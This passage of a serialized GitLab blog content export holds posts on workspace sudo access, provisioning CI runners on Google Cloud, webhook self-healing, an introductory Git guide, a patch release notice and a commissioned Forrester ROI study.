settings](https://docs.gitlab.com/ee/user/workspace/gitlab_agent_configuration.html#workspace-settings) for more information about individual settings.  \n4. Allow the agent to be used for workspaces in a group. See the [documentation](https://docs.gitlab.com/ee/user/workspace/gitlab_agent_configuration.html#allow-a-cluster-agent-for-workspaces-in-a-group) for more information.  \n5. Update GitLab Workspaces Proxy to serve traffic for the domain used in the above agent configuration. See [Tutorial: Set up the GitLab workspaces proxy](https://docs.gitlab.com/ee/user/workspace/set_up_workspaces_proxy.html) for more information.\n\nSetting up a Kubernetes cluster with user namespaces configured is challenging since it is behind a beta feature gate in Kubernetes Version 1.31.0. This means it is not yet possible to configure such a cluster on the major cloud providers because they don't provide a mechanism to enable feature gates in their managed Kubernetes offering. Here is an example of [configuring a simple Kuberenetes cluster using `kubeadm`](https://gitlab.com/gitlab-org/gitlab/-/issues/468290#note_1959300036).\n\n### Create a workspace\n\nIf you now create a workspace with these agents and try installing `jq` through a package manager, it should succeed!\n\nYou can analyze the logs using `jq`. Say you wanted to inspect the log entries where the path is `/path1`, you can run:\n\n```\njq 'select(.path == \"/path1\")' server.log\n```\n\nThe output is:\n\n```\n{\n  \"time\": \"2024-10-31T12:04:38.474806+05:30\",\n  \"level\": \"INFO\",\n  \"msg\": \"Request received\",\n  \"path\": \"/path1\",\n  \"response\": \"{\\n  \\\"Accept\\\": [\\n    \\\"*/*\\\"\\n  ],\\n  \\\"User-Agent\\\": [\\n    \\\"curl/8.7.1\\\"\\n  ],\\n  \\\"method\\\": \\\"GET\\\",\\n  \\\"remote_addr\\\": \\\"[::1]:61246\\\",\\n  \\\"url\\\": \\\"/path1\\\"\\n}\"\n}\n{\n  \"time\": \"2024-10-31T12:06:22.397453+05:30\",\n  \"level\": \"INFO\",\n  \"msg\": \"Request received\",\n  \"path\": \"/path1\",\n  \"response\": \"{\\n  \\\"Accept\\\": [\\n    \\\"*/*\\\"\\n  ],\\n  \\\"User-Agent\\\": [\\n    \\\"curl/8.7.1\\\"\\n  ],\\n  \\\"method\\\": \\\"GET\\\",\\n  \\\"remote_addr\\\": \\\"[::1]:61311\\\",\\n  \\\"url\\\": \\\"/path1\\\"\\n}\"\n}\n{\n  \"time\": \"2024-10-31T12:19:34.974354+05:30\",\n  \"level\": \"INFO\",\n  \"msg\": \"Request received\",\n  \"path\": \"/path1\",\n  \"response\": \"{\\n  \\\"Accept\\\": [\\n    \\\"*/*\\\"\\n  ],\\n  \\\"User-Agent\\\": [\\n    \\\"curl/8.7.1\\\"\\n  ],\\n  \\\"method\\\": \\\"GET\\\",\\n  \\\"remote_addr\\\": \\\"[::1]:61801\\\",\\n  \\\"url\\\": \\\"/path1\\\"\\n}\"\n}\n```\n\n## Get started today\n\nLearn even more with our [Configure sudo access for a workspace documentation](https://docs.gitlab.com/ee/user/workspace/configuration.html#configure-sudo-access-for-a-workspace). See [GitLab agent for workspaces settings](https://docs.gitlab.com/ee/user/workspace/gitlab_agent_configuration.html#workspace-settings) for details on individual settings.\n\n> New to GitLab Remote Development? Here is a [quickstart guide](https://about.gitlab.com/blog/quick-start-guide-for-gitlab-workspaces/) to get you up to speed.",[674,696,3798,479,2368],"remote work",{"slug":3800,"featured":92,"template":678},"enable-secure-sudo-access-for-gitlab-remote-development-workspaces","content:en-us:blog:enable-secure-sudo-access-for-gitlab-remote-development-workspaces.yml","Enable Secure Sudo Access For Gitlab Remote Development Workspaces","en-us/blog/enable-secure-sudo-access-for-gitlab-remote-development-workspaces.yml","en-us/blog/enable-secure-sudo-access-for-gitlab-remote-development-workspaces",{"_path":3806,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3807,"content":3813,"config":3818,"_id":3820,"_type":16,"title":3821,"_source":17,"_file":3822,"_stem":3823,"_extension":20},"/en-us/blog/provision-group-runners-with-google-cloud-platform-and-gitlab-ci",{"title":3808,"description":3809,"ogTitle":3808,"ogDescription":3809,"noIndex":6,"ogImage":3810,"ogUrl":3811,"ogSiteName":1180,"ogType":1181,"canonicalUrls":3811,"schema":3812},"Provision group runners with Google Cloud Platform and GitLab CI","This tutorial will teach you how to set up a new group runner on GitLab.com using Google Cloud Platform in less than 10 minutes.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098300/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_623844718_4E5Fx1Q0DHikigzCsQWhOG_1750098300048.jpg","https://about.gitlab.com/blog/provision-group-runners-with-google-cloud-platform-and-gitlab-ci","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Provision group runners with Google Cloud Platform and GitLab CI\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sarah Matthies\"},{\"@type\":\"Person\",\"name\":\"Noah Ing\"}],\n        \"datePublished\": \"2024-11-19\",\n      }",{"title":3808,"description":3809,"authors":3814,"heroImage":3810,"date":3815,"body":3816,"category":734,"tags":3817},[3126,2621],"2024-11-19","Are you interested in hosting your own servers to run your GitLab CI/CD pipelines but don’t know where to begin? Setting up a GitLab Runner to run your pipelines on your own infrastructure can seem like a daunting task as it requires infrastructure knowledge and the know-how to maintain that infrastructure. Typically this process requires the provision of infrastructure, the installing of dependency, and testing that it works with your GitLab instance.\n\nThis article highlights how easy it is to easily spin up a GitLab Runner of your own utilizing GitLab’s Google Cloud Integration. Follow this tutorial and it will teach you how to set up a new group runner on GitLab.com using Google Cloud Platform in less than 10 minutes!\n\nYou will learn how to:\n\n- Create a new group runner.\n- Configure the new group runner’s tags and description.\n- Register the new group runner by adding in configurations.\n- Provision the GitLab Runner utilizing `gcloud cli` and Terraform.\n- Have your GitLab Runner pick up its first GitLab CI job.\n\n## Prerequisites\n- A terminal with Bash installed\n- Owner access on a Google Cloud Platform project\n- Terraform (or OpenTofu) [Version 1.5](https://releases.hashicorp.com/terraform/1.5.7/) or greater \n- [gcloud CLI](https://cloud.google.com/sdk/docs/install) \n- 10 minutes\n\n## Tutorial\n1. Create a new group runner under __Build > Runners > New Group Runner__.\n\n__Note:__ Navigate to the group level.\n\n![GitLab Runner setup screen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098317/Blog/Content%20Images/Blog/Content%20Images/image7_aHR0cHM6_1750098317126.png)\n\n2. Configure the new group runner's tags, description, and any additional configurations.\n\n![New Group Runner setup](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098317/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750098317127.png)\n\n3. Select __Google Cloud__.\n\n![Select Google Cloud screen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098317/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750098317129.png)\n\n4. Copy your project ID from Google Cloud Platform.\n\n![Copy project ID from GCP screen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098317/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098317131.png)\n\n5. Fill out your Google Cloud project ID and choose a region, zone, and type of machine you want to use.\n\n![Screen to fill out Google Cloud information](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098317/Blog/Content%20Images/Blog/Content%20Images/image8_aHR0cHM6_1750098317132.png)\n\n6\\. Once this information is filled out, click **Setup instructions**.\n\nRun the bash script provided in Step 1 above.\n\n**Note:** This script was saved to a file called `setup.sh` for ease of use. You may copy this right into your terminal if you are confident in debugging.\n\n![Setup instructions screen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098317/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750098317134.png)\n\n![Script for GitLab Runner](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098317/Blog/Content%20Images/Blog/Content%20Images/image10_aHR0cHM6_1750098317135.png)\n\n7\\. Create a `main.tf` file and follow the instructions in GitLab.\n\n**Note:** If you want to use OpenTofu instead of Terraform, you can still copy the code and only have to adjust the Terraform commands for applying the configuration. \n\n![Install and register GitLab Runner screen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098317/Blog/Content%20Images/Blog/Content%20Images/image9_aHR0cHM6_1750098317136.png)\n\nOnce successfully provisioned, you should be see the following:\n\n![GitLab Runner code](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098317/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750098317137.png)\n\n8\\. If you close the instructions and click the **View runners** button, you will now have a newly provisioned runner present with \"Never contacted\" as its status.\n\n![Newly provisioned runner on screen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098317/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750098317139.png)\n\n9\\. In any project, add the following `.gitlab-ci.yml`.\n\n```  \nstages:  \n  - greet\n\nhello_job:  \n  stage: greet  \n  tags:  \n    - gcp-runner  \n  script:  \n    - echo \"hello\"  \n```\n\nVolia! You have set up your first GitLab Runner utilizing Google Cloud Platform.\n\n# Next steps\n\nNow that you have provisioned your very own GitLab Runner, consider optimizing it for your specific use case. Some things to consider with your runner moving forward:\n\n- Is the runner I provisioned the right size? Does it need additional resources for my use case? \n- Does the GitLab Runner contain all the dependency my builds need?  \n- How can I store the GitLab Runner as infrastructure as code?\n\n> Make sure to bookmark the [Provisioning runners in Google Cloud documentation](https://docs.gitlab.com/ee/ci/runners/provision_runners_google_cloud.html) for easy reference.\n",[696,479,1384,110,2488,923,232],{"slug":3819,"featured":6,"template":678},"provision-group-runners-with-google-cloud-platform-and-gitlab-ci","content:en-us:blog:provision-group-runners-with-google-cloud-platform-and-gitlab-ci.yml","Provision Group Runners With Google Cloud Platform And Gitlab Ci","en-us/blog/provision-group-runners-with-google-cloud-platform-and-gitlab-ci.yml","en-us/blog/provision-group-runners-with-google-cloud-platform-and-gitlab-ci",{"_path":3825,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3826,"content":3831,"config":3836,"_id":3838,"_type":16,"title":3839,"_source":17,"_file":3840,"_stem":3841,"_extension":20},"/en-us/blog/gitlab-webhooks-get-smarter-with-self-healing-capabilities",{"title":3827,"description":3828,"ogTitle":3827,"ogDescription":3828,"noIndex":6,"ogImage":1239,"ogUrl":3829,"ogSiteName":1180,"ogType":1181,"canonicalUrls":3829,"schema":3830},"GitLab Webhooks get smarter with self-healing capabilities","Introducing changes to webhook self-healing behavior, which reduce manual intervention and improve reliability. Discover the impact on your integrations and how to prepare.","https://about.gitlab.com/blog/gitlab-webhooks-get-smarter-with-self-healing-capabilities","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Webhooks get smarter with self-healing capabilities\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Magdalena Frankiewicz\"}],\n        \"datePublished\": \"2024-11-14\",\n      }",{"title":3827,"description":3828,"authors":3832,"heroImage":1239,"date":3833,"body":3834,"category":834,"tags":3835,"updatedDate":2088},[3717],"2024-11-14","We're excited to announce upcoming changes to how GitLab handles webhooks, aimed at improving reliability and reducing manual intervention. These changes will affect GitLab.com users in the coming weeks. For GitLab Self-Managed users, the current auto-disabling webhook behavior is behind an existing [ops flag `auto_disabling_webhooks`](https://docs.gitlab.com/ee/user/project/integrations/webhooks.html#auto-disabled-webhooks). The changes described here will be introduced behind the same feature flag.\n\nThis improvement is the result of a valuable community contribution by [Phawin Khongkhasawan](https://gitlab.com/lifez), exemplifying the power of our open source community in driving GitLab forward.\n\n## What's changing?\n\n- Currently, webhooks that result in 4xx errors become permanently disabled after multiple failures. With this update, all webhooks, regardless of the error type (4xx or 5xx), will have the ability to self-heal.\n- Failing webhooks will be temporarily disabled with an increasing backoff period, up to a maximum of 1 day. After a webhook fails for 40 times successively, it becomes permanently disabled.\n- All types of errors (4xx, 5xx, network errors, etc.) will be treated the same way, allowing for more predictable behavior and easier troubleshooting.\n- Webhooks that are currently permanently disabled will be migrated to be temporarily disabled with 40 failures, so they will remain permanently disabled.\n\n## Why this change matters\n\nReduced manual intervention: You'll no longer need to manually re-enable webhooks that have been disabled due to temporary issues.\n* **Improved reliability:** Webhooks will automatically attempt to recover from transient errors, ensuring your integrations remain functional.\n* **Better handling of temporary issues:** This change accounts for scenarios like temporary outages, deployments, or configuration changes that might cause temporary webhook failures.\n\n## What you need to do\n\n**1. Review your webhooks:** Take this opportunity to review your existing webhooks. If you have any that you no longer need, consider deleting them.\n\n**2. Update your monitoring:** If you rely on webhook status for monitoring, update your processes to account for the new behavior where webhooks may self-heal.\n\n**3. Test your integrations:** Once the change is rolled out, test your integrations to ensure they behave as expected with the new webhook handling.\n\n## Timeline and rollout\n\nThis feature is expected to be rolled out in GitLab 17.11.\n- For GitLab.com users, the changes will be applied automatically.\n- For Self-Managed and Dedicated users, the changes will only affect instances that have the auto_disabling_webhooks ops flag enabled.\n\n## Feedback and support\n\nWe value your feedback! If you encounter any issues or have suggestions regarding this change, please comment on our [webhook feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/503733).\n\nFor any questions or concerns, please reach out to [GitLab Support](https://about.gitlab.com/support/) or consult our [webhooks documentation](https://docs.gitlab.com/ee/user/project/integrations/webhooks.html).\n\nStay tuned for more updates, and thank you for being a part of the GitLab community!",[267,2704,479,754],{"slug":3837,"featured":6,"template":678},"gitlab-webhooks-get-smarter-with-self-healing-capabilities","content:en-us:blog:gitlab-webhooks-get-smarter-with-self-healing-capabilities.yml","Gitlab Webhooks Get Smarter With Self Healing Capabilities","en-us/blog/gitlab-webhooks-get-smarter-with-self-healing-capabilities.yml","en-us/blog/gitlab-webhooks-get-smarter-with-self-healing-capabilities",{"_path":3843,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3844,"content":3850,"config":3854,"_id":3856,"_type":16,"title":3857,"_source":17,"_file":3858,"_stem":3859,"_extension":20},"/en-us/blog/what-is-git-the-ultimate-guide-to-gits-role-and-functionality",{"title":3845,"description":3846,"ogTitle":3845,"ogDescription":3846,"noIndex":6,"ogImage":3847,"ogUrl":3848,"ogSiteName":1180,"ogType":1181,"canonicalUrls":3848,"schema":3849},"What is Git? The ultimate guide to Git's role and functionality","Want to complete your projects with Git? Discover all of Git's benefits and features in our comprehensive guide.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673991/Blog/Hero%20Images/Git.jpg","https://about.gitlab.com/blog/what-is-git-the-ultimate-guide-to-gits-role-and-functionality","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What is Git? The ultimate guide to Git's role and functionality\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2024-11-14\",\n      }",{"title":3845,"description":3846,"authors":3851,"heroImage":3847,"date":3833,"body":3852,"category":813,"tags":3853},[711],"Git is a must-have tool in the world of modern software development. In this comprehensive guide, we explain in detail what the Git tool is, its role in source code versioning, and how it works. Whether you're a beginner or an expert, this guide will give you a deep understanding of Git and its many features.\n\n## What is Git?\n\nGit is a source control tool that has quickly become a must-have in the software development ecosystem. Git's ability to meticulously track project changes makes it an essential tool for developers aiming to efficiently manage their projects. Therefore, mastering Git has become a vital skill for anyone aiming to excel in the field of software development.\n\n### What is version control?\n\n[Version control](https://about.gitlab.com/topics/version-control/what-is-git-version-control/) enables you to track changes to a software's source code. Thus, a software's delivered version consists of a set of specific versions of each of its components and source code files. For example, an icon might have only been changed twice, while a code file might have undergone several dozen changes over time.\n\n## What are Git's features?\n\nIn development, maintaining rigorous management of changes to a software's source code is important. Without this, ensuring the consistency and reliability of development teams' work is impossible. Fine-tuned change management can also make it easier to identify the source of a problem. Similarly, it reduces the risk of conflicts and file overwriting. Indeed, Git facilitates and streamlines software versioning precisely for this purpose.\n\nTo better understand Git and how it works, below we've outlined some of the key features that make it easy to optimize source code management as well as collaboration across teams.\n\n### Visualization of your project history\n\nIn the software development ecosystem, [the commit history](https://about.gitlab.com/blog/keeping-git-commit-history-clean/) is a core pillar for tracking project progress on Git. That's why Git offers developers a detailed history of all changes made to the   \nsource code.\n\nFor each new commit, the following are recorded:\n\n* specific changes made to project files\n* an explanatory message from the developer who made the change\n\nThese elements help improve the development team's communication and mission, allowing them to more quickly understand the ins and outs of each change made to the code.\n\nIn addition to monitoring project developments, this history allows you to go back if necessary, cancel part of the changes or, conversely, fetch only part of the changes from one branch to another. This function therefore plays an essential role in maintaining the transparency, consistency, and quality of a project's source code in Git, as well as collaboration within the development team and operational efficiency to solve problems.\n\nCheck out our tutorial on [how to create your first Git commit](https://docs.gitlab.com/ee/tutorials/make_first_git_commit/).\n\n### Greater autonomy for teams\n\nAnother essential feature of the Git tool is [distributed development](https://git-scm.com/about/distributed). Thanks to its decentralized structure, Git allows development teams to work simultaneously on the same project. Each team member has their own copy of the project, where each of their changes can be versioned. This allows them to work autonomously on specific features while reducing conflict or overwriting risks. This approach offers great flexibility for developers who can then explore different ideas or experiment with new features without interfering with their colleagues' work.\n\nDistributed development also enhances resilience to server failures. Thus, even in the event of a failure, each person has a copy on which they can continue to work offline. Changes can then be synchronized once the server is available again, thereby reducing the risk of work disruption for development teams and update constraints for operational teams.\n\n### Optimizing development workflows\n\nOne of Git's most powerful features is the ability to [manage branches and their mergers (branching and merging)](https://git-scm.com/about/branching-and-merging). These allow teams to work in parallel in a collaborative and organized way. Each new code addition or bug fix can be independently developed and tested to ensure reliability. Developers can then simply merge changes into the project's main branch.\n\nBy adopting this approach, teams can track code evolution, collaborate easily and efficiently, reduce conflicts between different versions, and ensure continuous integration of developed features.\n\nUsing these two features, teams can develop projects continuously and in an agile manner while regularly deploying new code versions. This practice greatly facilitates change management while reducing the risk of errors.\n\n## What are Git's benefits?\n\nTo thoroughly understand Git, it's important to fully recognize the benefits it offers to your development teams:\n\n* **Decentralized version management:** With Git, each developer has a complete copy of the project history, allowing them to work independently.  \n* **A tool designed around security:** Unlike other source control tools, Git was designed from the outset to ensure the integrity of all elements of the repository with a cryptographic Secure Hash Algorithm (SHA1 and [SHA-256](https://about.gitlab.com/blog/gitlab-now-supports-sha256-repositories/) to date). This algorithm aims to protect the project's code and history from any modifications, whether malicious or not. In addition, each commit (creation of a new version) can be automatically signed (GPG) to ensure change traceability. This makes Git a particularly safe and secure tool, which guarantees the integrity and authenticity of your source code and its history.  \n* **A fast and effective tool:** The Git tool has been designed to maximize efficiency during development. Its speed allows developers to perform complex operations, such as commits, branching, and merging, in minimal time, even on large code bases. It also ensures a minimum fingerprint on the hard disk and during network exchanges. This efficiency then translates into rapid response times during backups, consultations, and project history changes.  \n* **Greater work flexibility:** Git supports a wide variety of development workflows. Whether you prefer centralized development models or more linear approaches, Git adapts easily. This ability to manage different workflows provides teams with numerous options for how they work.  \n* **Ease of integration:** Git excels in its ability to integrate with a wide array of existing development tools and platforms. The breadth of this compatibility allows teams to manage their projects more effectively by leveraging the best DevSecOps tools and practices.  \n* **A widely followed open-source project:** Another significant benefit of Git is that it's an open-source project supported by a dynamic and dedicated community which ensures its constant improvement. This active participation from individuals and companies in the Git community ensures the regular addition of new features and improvements through continuous updates.\n\n## What are Git's main commands?\n\nThe open-source Git project offers a wide variety of commands to make teamwork easier.  \nHere are some of the most commonly used commands.\n\n* **git init:** Initialize a new Git repository.  \n* **git clone \\[url\\]:** Clone an existing repository.  \n* **git add \\[file\\]:** Add a file to the index.  \n* **git commit:** Validate changes made.  \n* **git commit \\-m \"message\":** Validate changes with a message.  \n* **git status:** View the status of files in the working directory.  \n* **git push:** Send changes to remote repository.  \n* **git pull:** Fetch changes from the remote repository and merge them with the local repository.\n\nWhile these commands are essential to getting started with Git, it's important to note that there are plenty of other commands. See the [list of Git commands](https://git-scm.com/docs).\n\n## Git and GitLab\n\nGitLab is a collaborative open-source development platform covering all stages of the DevSecOps lifecycle and providing a Git server for efficient team collaboration.\n\nBeyond source code management, GitLab offers a complete suite enabling continuous integration and distribution, deliverables management, security and incident management, as well as all associated traceability, real-time task planning and tracking, deployment monitoring, software versioning, and the associated document space.\n\n## Git FAQs\n\n### Why use Git?\n\nGit is all about efficiency. Git's decentralized system based on branching and merging features allows development teams to work on the same project without interfering with others' work or, more importantly, creating version conflicts.\n\n### Is Git software?\n\nGit is an open-source project. Therefore, it's free and open to everyone. However, you need to [install Git](https://docs.gitlab.com/ee/topics/git/how_to_install_git/) on your device before you can start working.\n\n### What is a branch in Git?\n\nIn Git, a branch is a pointer to a change history. Thus, each main branch points to the last commit performed on it. It is therefore possible to have many parallel branches, each with its own history but the same root.\n\n### What is a commit?\n\nIn Git, a commit is a record of changes to a software's source code. Each commit is accompanied by an explanatory message that traces the history of all changes. This makes project tracking easier, and there's always the option to revert to earlier, functional versions if there's a problem.\n\n### What is the benefit of branches in Git?\n\nDeveloping features in branches allows developers to work simultaneously on several distinct features. In addition, this avoids compromising the main branch with unstable code. Moreover, implementing branches in Git is significantly more lightweight than in other version control systems.",[1067,943,815],{"slug":3855,"featured":6,"template":678},"what-is-git-the-ultimate-guide-to-gits-role-and-functionality","content:en-us:blog:what-is-git-the-ultimate-guide-to-gits-role-and-functionality.yml","What Is Git The Ultimate Guide To Gits Role And Functionality","en-us/blog/what-is-git-the-ultimate-guide-to-gits-role-and-functionality.yml","en-us/blog/what-is-git-the-ultimate-guide-to-gits-role-and-functionality",{"_path":3861,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3862,"content":3868,"config":3873,"_id":3876,"_type":16,"title":3877,"_source":17,"_file":3878,"_stem":3879,"_extension":20},"/en-us/blog/gitlab-patch-release-17-5-2-17-4-4-17-3-7",{"title":3863,"description":3864,"ogTitle":3863,"ogDescription":3864,"config":3865,"ogImage":3431,"ogUrl":3866,"ogSiteName":1180,"ogType":1181,"canonicalUrls":3866,"schema":3867},"GitLab Patch Release: 17.5.2, 17.4.4, 17.3.7","Learn more about this GitLab Patch Release for GitLab Community Edition (CE) and Enterprise Edition (EE).",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-patch-release-17-5-2-17-4-4-17-3-7","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Patch Release: 17.5.2, 17.4.4, 17.3.7\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Greg Myers\"}],\n        \"datePublished\": \"2024-11-13\",\n      }",{"title":3863,"description":3864,"authors":3869,"heroImage":3431,"date":3870,"body":3871,"category":674,"tags":3872},[866],"2024-11-13","This is the post for [GitLab Patch Release: 17.5.2, 17.4.4, 17.3.7](https://about.gitlab.com/releases/2024/11/13/patch-release-gitlab-17-5-2-released/).",[1464],{"slug":3874,"featured":6,"template":678,"externalUrl":3875},"gitlab-patch-release-17-5-2-17-4-4-17-3-7","https://about.gitlab.com/releases/2024/11/13/patch-release-gitlab-17-5-2-released/","content:en-us:blog:gitlab-patch-release-17-5-2-17-4-4-17-3-7.yml","Gitlab Patch Release 17 5 2 17 4 4 17 3 7","en-us/blog/gitlab-patch-release-17-5-2-17-4-4-17-3-7.yml","en-us/blog/gitlab-patch-release-17-5-2-17-4-4-17-3-7",{"_path":3881,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3882,"content":3888,"config":3892,"_id":3894,"_type":16,"title":3895,"_source":17,"_file":3896,"_stem":3897,"_extension":20},"/en-us/blog/gitlab-ultimates-total-economic-impact-483-roi-over-3-years",{"title":3883,"description":3884,"ogTitle":3883,"ogDescription":3884,"noIndex":6,"ogImage":3885,"ogUrl":3886,"ogSiteName":1180,"ogType":1181,"canonicalUrls":3886,"schema":3887},"GitLab Ultimate's total economic impact: 483% ROI over 3 years","A Forrester Consulting study of GitLab Ultimate finds that the DevSecOps platform enhanced security posture with 5x time saved on security-related activities.\n","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098354/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%281%29_5XrohmuWBNuqL89BxVUzWm_1750098354056.png","https://about.gitlab.com/blog/gitlab-ultimates-total-economic-impact-483-roi-over-3-years","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Ultimate's total economic impact: 483% ROI over 3 years\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Dave Steer\"}],\n        \"datePublished\": \"2024-11-13\",\n      }",{"title":3883,"description":3884,"authors":3889,"heroImage":3885,"date":3870,"body":3890,"category":736,"tags":3891},[1304],"A powerful DevSecOps platform streamlines operations, prevents security vulnerabilities from disrupting (and costing) your business, increases productivity, and fosters a culture of innovation and collaboration. That's exactly what we built GitLab to do, and our Ultimate tier represents the full power of our platform. To see the real-world results, we commissioned Forrester Consulting to create a “Total Economic Impact™ of GitLab Ultimate” study. Here’s what we discovered at a glance. \n\nAccording to the study, for a composite organization based on interviewed customers, GitLab delivered:  \n\n* **Three-year ROI of 483%**  \n* **400% improvement in developer productivity**  \n* **15x faster time to first release\u003Csup>1\u003C/sup>**  \n* **5x time saved on security-related activities**\n\n**Overall, GitLab enables 50% more work with business value.** \n\nThe numbers tell a clear story: GitLab's platform transforms how teams work together. Whether you’re an application security lead tasked with improving the company’s security posture, a developer looking to deliver high-quality code faster, or a CTO looking for a scalable, secure, and flexible DevSecOps platform, this study (see full methodology below) shows that GitLab Ultimate delivers. Let’s break down the results.  \n\n> Download the full [2024 Forrester Consulting “Total Economic Impact of GitLab Ultimate” study](https://about.gitlab.com/resources/study-forrester-tei-gitlab-ultimate/).\n\n## **1\\. Three-year ROI of 483%**\n\n*“The big win for us was efficiency — both in administration and in overall operations. Now, everyone can work collaboratively, and we can easily automate our pipeline. I’m also able to move personnel around to complete different tasks more efficiently. Rather than needing to train on different tools across programs, now it’s just ‘learn GitLab,’ and they’re ready to begin working.”* - CTO and Senior Vice President, Defense industry\n\nThe study found that teams started seeing payback within six months of implementing GitLab Ultimate, primarily through improved efficiency. With a **483% ROI over three years**, organizations reduced their software toolchain costs by 25% and cut the time IT teams spent on administering complex toolchains by 75%. Beyond the cost savings, moving to a unified platform fundamentally improves how teams develop and deliver software.\n\n## **2\\. 400% improvement in productivity**\n\n*“When I have conversations about GitLab with our developers, they universally agree that it has increased productivity at our organization across teams and roles. We now have one platform that has functions that everyone can use.”* - Software architect, Energy/Research industry\n\nDevelopers thrive in environments where they can easily switch between tasks without losing momentum. According to the study, developers can reclaim up to 305 hours per year by using [testing automation](https://about.gitlab.com/topics/devops/devops-test-automation/) within GitLab to help them test more frequently and track and fix bugs faster, all within a single interface with no context switching. This streamlined workflow allows them to focus on coding rather than juggling multiple tools and processes.\n\nThe productivity gains extend to onboarding, too: new hires in the composite organization’s software development team ramped up to full productivity 75% faster (i.e., in 1.5 weeks instead of 1.5 months). The impact is clear: Everyone on the team can contribute meaningful work sooner. \n\n## **3\\. 15x faster time to first release**\n\n*“Our superpower is software. It’s measured in terms of velocity and the ability to get new capabilities into the hands of our customers. For that to remain our primary focus, it just made economic sense to \\[consolidate\\] onto a single platform.”* - CTO and Senior Vice President, Defense industry\n\nThe summary data from the customer interviews reveals that GitLab enables organizations to accelerate first production release by 15 times. This boost is achieved through faster project initiation, more frequent software releases, and a proactive approach to security that natively integrates security scans into the development process from the outset. Even with this increase in velocity, software quality, and security remain at the same high levels, thanks to developers' ability to fix issues early and quickly. \n\nWith [security built directly into the development process](https://about.gitlab.com/solutions/security-compliance/), developers can identify, prioritize, and remediate vulnerabilities without disrupting their flow. This unified approach to managing the entire software development lifecycle means teams can move faster without compromising on security.\n\n## **4\\. 5x time saved on security-related activities**\n\n*“Integrating security and quality scanners into the pipeline was a game changer for us. With more automation and less manual work, we’re seeing fewer failures, fewer problems, and faster progress.”* - Program Manager, Finance industry \n\nSecurity is top-of-mind for every organization, as development speeds up and threats keep evolving. GitLab saves security team members in the composite organization **78 hours per member per year** by automating recurring tasks like disaster recovery prep, auditing, and compliance checks. GitLab also improves visibility into software development processes, helping security and development teams work together more efficiently.  \n\nCybersecurity and software development teams at the composite organization **managed and mitigated security risks throughout the software development lifecycle with 81% less effort.** This is because GitLab enabled them to integrate security protocols and scans throughout all stages of the software development lifecycle, simplifying how they maintain stringent security standards. As security testing and remediation are built into pipelines, teams reduce average response times and the risk of issues reaching production. \n\n# **Experience DevSecOps in action**\n\nWith a 483% ROI, a rapid payback period, and countless success stories, GitLab is an invaluable tool for enterprises looking to transform their software development processes.\n\n> To explore how GitLab can benefit your organization, download the full [Forrester Consulting “Total Economic Impact of GitLab Ultimate” study today](https://about.gitlab.com/resources/study-forrester-tei-gitlab-ultimate/).\n\n**Methodology**  \n*For the study, Forrester interviewed four GitLab Ultimate customers across industries, including finance, defense, and research, and created a composite organization to represent the aggregated results of these interviews. The composite organization is expected to adopt GitLab Ultimate across all teams in a three-year period.*\n\n*The composite organization is a $5 billion company with 5,000 employees, with 40% involved in software delivery and 50% of annual revenue driven by software development. Their goals are to consolidate multiple tools into a single, integrated platform, enhance developer productivity, ensure compliance with industry regulations and internal policies, and strengthen security throughout the development lifecycle.*\n\n*1. Based on summary data from customer interviews; not applicable to the composite organization results.*",[479,1307,736,674],{"slug":3893,"featured":92,"template":678},"gitlab-ultimates-total-economic-impact-483-roi-over-3-years","content:en-us:blog:gitlab-ultimates-total-economic-impact-483-roi-over-3-years.yml","Gitlab Ultimates Total Economic Impact 483 Roi Over 3 